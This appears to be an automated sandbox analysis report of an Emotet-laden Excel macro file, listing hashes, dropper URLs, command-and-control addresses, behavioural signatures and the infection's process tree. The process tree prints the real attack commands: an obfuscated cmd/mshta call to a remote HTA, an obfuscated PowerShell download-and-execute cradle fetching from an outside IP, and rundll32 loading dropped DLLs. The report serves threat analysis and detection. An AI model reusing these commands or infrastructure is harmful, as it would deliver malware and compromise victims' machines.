Analysis

  • max time kernel
    118s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 19:00

General

  • Target

    GJEPA_4333.xlsm

  • Size

    49KB

  • MD5

    1b3b9885b4613c3a910d6d48bd960e20

  • SHA1

    51e969103c0b9dc7a30300617e06a6a2f3f98942

  • SHA256

    7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f

  • SHA512

    bdd56383eb805539fae845530fe75cc0622cbdabe33c34caece7d8babb429938149962316724dac9f04c5350914ee44a5a746d4523ad3f6e12596fe602533151

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\GJEPA_4333.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1032
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1688
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:512
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Enmohlzeyc\gjttungr.ufn",kEFnENpXZtUxqzK
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1952
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Enmohlzeyc\gjttungr.ufn",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1748

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1480-58-0x0000000074B21000-0x0000000074B23000-memory.dmp

    Filesize

    8KB

  • memory/1480-55-0x000000002F041000-0x000000002F044000-memory.dmp

    Filesize

    12KB

  • memory/1480-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1480-56-0x0000000070C81000-0x0000000070C83000-memory.dmp

    Filesize

    8KB

  • memory/1480-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1544-61-0x0000000004D50000-0x00000000053A1000-memory.dmp

    Filesize

    6.3MB

  • memory/1544-60-0x0000000002680000-0x00000000032CA000-memory.dmp

    Filesize

    12.3MB

  • memory/1636-77-0x0000000000720000-0x0000000000748000-memory.dmp

    Filesize

    160KB

  • memory/1636-79-0x0000000000CC0000-0x0000000000CE8000-memory.dmp

    Filesize

    160KB

  • memory/1636-81-0x0000000000D50000-0x0000000000D78000-memory.dmp

    Filesize

    160KB

  • memory/1636-83-0x0000000002540000-0x0000000002568000-memory.dmp

    Filesize

    160KB

  • memory/1636-85-0x00000000025E0000-0x0000000002608000-memory.dmp

    Filesize

    160KB

  • memory/1636-88-0x00000000027E0000-0x0000000002808000-memory.dmp

    Filesize

    160KB

  • memory/1636-75-0x00000000002B0000-0x00000000002D8000-memory.dmp

    Filesize

    160KB

  • memory/1748-101-0x0000000002470000-0x0000000002498000-memory.dmp

    Filesize

    160KB

  • memory/1748-99-0x0000000001E40000-0x0000000001E68000-memory.dmp

    Filesize

    160KB

  • memory/1748-95-0x0000000000580000-0x00000000005A8000-memory.dmp

    Filesize

    160KB

  • memory/1748-103-0x0000000002640000-0x0000000002668000-memory.dmp

    Filesize

    160KB

  • memory/1748-105-0x00000000026E0000-0x0000000002708000-memory.dmp

    Filesize

    160KB

  • memory/1748-107-0x0000000002780000-0x00000000027A8000-memory.dmp

    Filesize

    160KB

  • memory/1748-109-0x0000000002800000-0x0000000002828000-memory.dmp

    Filesize

    160KB

  • memory/1748-111-0x0000000002930000-0x0000000002958000-memory.dmp

    Filesize

    160KB

  • memory/1748-113-0x0000000002A20000-0x0000000002A48000-memory.dmp

    Filesize

    160KB

  • memory/1952-90-0x00000000006A0000-0x00000000006C8000-memory.dmp

    Filesize

    160KB